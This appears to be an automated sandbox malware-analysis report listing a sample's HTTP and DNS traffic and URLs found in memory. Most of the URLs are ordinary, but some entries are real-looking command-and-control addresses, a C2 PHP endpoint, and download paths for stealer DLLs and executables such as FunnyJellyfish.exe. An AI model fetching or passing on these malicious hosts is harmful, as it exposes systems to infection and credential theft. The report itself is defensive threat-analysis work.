Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/FunnyJellyfish.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: file.exe, 00000000.00000002.1946387872.00000000237F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1922769544.0000000001153000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.1922769544.000000000116A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exez
Source: file.exe, 00000000.00000002.1920780463.0000000000665000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1922769544.000000000110E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.1922769544.000000000116A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2595476742.00000000030A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.1922769544.000000000116A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.1922769544.000000000116A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.1922769544.000000000116A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.1922769544.000000000116A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.1922769544.000000000116A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.1922769544.000000000116A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllM
Source: file.exe, 00000000.00000002.1922769544.000000000116A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.1922769544.00000000011CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.1922769544.000000000116A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1946387872.000000002386B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1920780463.0000000000665000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.1946387872.000000002386B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpOS=Windows_NTPat
Source: file.exe, 00000000.00000002.1920780463.0000000000665000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000000.00000002.1920780463.0000000000665000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206rontdesk
Source: skotes.exe, 00000019.00000002.2624546443.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.2624546443.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000019.00000002.2624546443.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpd
Source: skotes.exe, 00000019.00000002.2624546443.0000000000E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpg1
Source: skotes.exe, 00000019.00000002.2624546443.0000000000E1D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.2624546443.0000000000DF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/FunnyJellyfish.exe
Source: skotes.exe, 00000019.00000002.2624546443.0000000000E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/FunnyJellyfish.exe6
Source: skotes.exe, 00000019.00000002.2624546443.0000000000DF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/FunnyJellyfish.exeZ
Source: skotes.exe, 00000019.00000002.2624546443.0000000000E1D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.2624546443.0000000000E39000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.2624546443.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 00000019.00000002.2624546443.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe062384J
Source: skotes.exe, 00000019.00000002.2624546443.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe1
Source: skotes.exe, 00000019.00000002.2624546443.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe1008024001n
Source: skotes.exe, 00000019.00000002.2624546443.0000000000E39000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.2624546443.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3
Source: skotes.exe, 00000019.00000002.2624546443.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5062384760
Source: skotes.exe, 00000019.00000002.2624546443.0000000000E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5062384760ac02b4ded8abeee1fbed6a9c4f559456e8405d4a5c8bd4aa1daaa8
Source: skotes.exe, 00000019.00000002.2624546443.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe506238476Q
Source: skotes.exe, 00000019.00000002.2624546443.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe506ncoded
Source: skotes.exe, 00000019.00000002.2624546443.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeA
Source: skotes.exe, 00000019.00000002.2624546443.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeY
Source: skotes.exe, 00000019.00000002.2624546443.0000000000E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeemp
Source: skotes.exe, 00000019.00000002.2624546443.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeespace
Source: skotes.exe, 00000019.00000002.2624546443.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeg
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: regsvr32.exe, 00000024.00000003.2594601776.000000000350E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2588623279.00000000025A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: regsvr32.exe, 00000024.00000003.2594601776.000000000350E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2588623279.00000000025A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: regsvr32.exe, 00000024.00000003.2588623279.0000000002571000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2594601776.000000000350E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2588623279.00000000025A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: powershell.exe, 00000025.00000002.2625519157.00000230C8C2F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2637251804.00000230D867F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: regsvr32.exe, 00000024.00000003.2594601776.000000000350E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2588623279.00000000025A4000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: regsvr32.exe, 00000024.00000003.2588623279.0000000002571000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com1.3.6.1.5.5.7.48.2http://cacerts.digicert.com/DigiCertGlobalRootG2.crt
Source: regsvr32.exe, 00000024.00000003.2588623279.00000000025A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: powershell.exe, 00000025.00000002.2625519157.00000230C8B6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000025.00000002.2625519157.00000230C8690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000025.00000002.2625519157.00000230C8B1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000025.00000002.2625519157.00000230C8B6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: FunnyJellyfish.exe, 0000001C.00000003.2526219244.000000007FD30000.00000004.00001000.00020000.00000000.sdmp, FunnyJellyfish.exe, 0000001C.00000003.2525997811.0000000002380000.00000004.00001000.00020000.00000000.sdmp, FunnyJellyfish.tmp, 0000001D.00000000.2526825380.0000000000401000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.innosetup.com/
Source: file.exe, 00000000.00000002.1967238489.000000007013D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: FunnyJellyfish.exe, 0000001C.00000003.2526219244.000000007FD30000.00000004.00001000.00020000.00000000.sdmp, FunnyJellyfish.exe, 0000001C.00000003.2525997811.0000000002380000.00000004.00001000.00020000.00000000.sdmp, FunnyJellyfish.tmp, 0000001D.00000000.2526825380.0000000000401000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.remobjects.com/ps
Source: file.exe, 00000000.00000002.1939314801.000000001D826000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1960034043.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.1601967710.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: regsvr32.exe, 00000024.00000003.2594601776.000000000350E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
Source: powershell.exe, 00000025.00000002.2625519157.00000230C864E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2625519157.00000230C8663000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: regsvr32.exe, 00000024.00000003.2594601776.00000000034CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: regsvr32.exe, 00000024.00000003.2595476742.00000000030A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: regsvr32.exe, 00000024.00000003.2594601776.00000000034CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
Source: regsvr32.exe, 00000024.00000003.2594601776.0000000003469000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: cd745b4d-152e-43d9-8245-32322c779576.tmp.10.dr	String found in binary or memory: https://assets.msn.com
Source: regsvr32.exe, 00000024.00000003.2595476742.00000000030A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg
Source: file.exe, 00000000.00000002.1922769544.00000000011CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1946387872.000000002385F000.00000004.00000020.00020000.00000000.sdmp, AKKKECBKKECGCAAAEHJK.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000002.1922769544.00000000011CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1946387872.000000002385F000.00000004.00000020.00020000.00000000.sdmp, AKKKECBKKECGCAAAEHJK.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: file.exe, 00000000.00000003.1601967710.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1601967710.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1601967710.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: cd745b4d-152e-43d9-8245-32322c779576.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: cd745b4d-152e-43d9-8245-32322c779576.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: regsvr32.exe, 00000024.00000003.2595476742.00000000030A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://config.edge.skype.com/config/v1/ODSP_Sync_Client/19.043.0304.0013?UpdateRing=Prod&OS=Win&OSV
Source: file.exe, 00000000.00000002.1922769544.00000000011CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1946387872.000000002385F000.00000004.00000020.00020000.00000000.sdmp, AKKKECBKKECGCAAAEHJK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.1922769544.00000000011CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1946387872.000000002385F000.00000004.00000020.00020000.00000000.sdmp, AKKKECBKKECGCAAAEHJK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: powershell.exe, 00000025.00000002.2637251804.00000230D867F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000025.00000002.2637251804.00000230D867F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000025.00000002.2637251804.00000230D867F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: regsvr32.exe, 00000024.00000003.2595476742.00000000030A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cxcs.microsoft.net/api/settings/en-GB/xml/settings-tipset?release=20h1&sku=Professional&plat
Source: manifest.json0.9.dr	String found in binary or memory: https://docs.google.com/
Source: FunnyJellyfish.tmp, 00000022.00000003.2568234149.0000000005C60000.00000004.00001000.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000002.2625202891.00007FFB0D695000.00000002.00000001.01000000.00000012.sdmp, is-4PJR3.tmp.34.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1601967710.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1601967710.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1601967710.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: regsvr32.exe, 00000024.00000003.2595476742.000000000309C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecs.n
Source: regsvr32.exe, 00000024.00000003.2595476742.00000000030A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecs.nel.measure.office.net?TenantId=ODSP_Sync_Client&DestinationEndpoint=Edge-Prod-LAX31r5c&
Source: 000003.log3.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log3.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log5.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 000003.log3.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: powershell.exe, 00000025.00000002.2625519157.00000230C8B6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: AKKKECBKKECGCAAAEHJK.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: regsvr32.exe, 00000024.00000003.2595476742.00000000030A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://logincdn.msauth.net/16.000/Converged_v22057_4HqSCTf5FFStBMz0_eIqyA2.css
Source: regsvr32.exe, 00000024.00000003.2595476742.00000000030A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://logincdn.msauth.net/16.000/content/js/ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOq
Source: regsvr32.exe, 00000024.00000003.2595476742.00000000030A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2.js
Source: regsvr32.exe, 00000024.00000003.2595476742.00000000030A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: 000003.log4.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: 000003.log9.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log9.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: powershell.exe, 00000025.00000002.2625519157.00000230C8C2F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2637251804.00000230D867F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: regsvr32.exe, 00000024.00000003.2595476742.00000000030A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/PreSignInSettings/Prod/2022-09-17-00-05-23/PreSignInSettingsConfig.json?One
Source: regsvr32.exe, 00000024.00000003.2595476742.00000000030A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/PreSignInSettings/Prod/2023-10-05-07-50-22/PreSignInSettingsConfig.json
Source: regsvr32.exe, 00000024.00000003.2595476742.00000000030A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/update100.xml?OneDriveUpdate=d75433bcf1f9312f1975
Source: regsvr32.exe, 00000024.00000003.2595476742.00000000030A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/741e3e8c607c445262f3add0e58b18f19e0502af.xml?OneDriveUpdate=ad62f4
Source: powershell.exe, 00000025.00000002.2625519157.00000230C8B1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
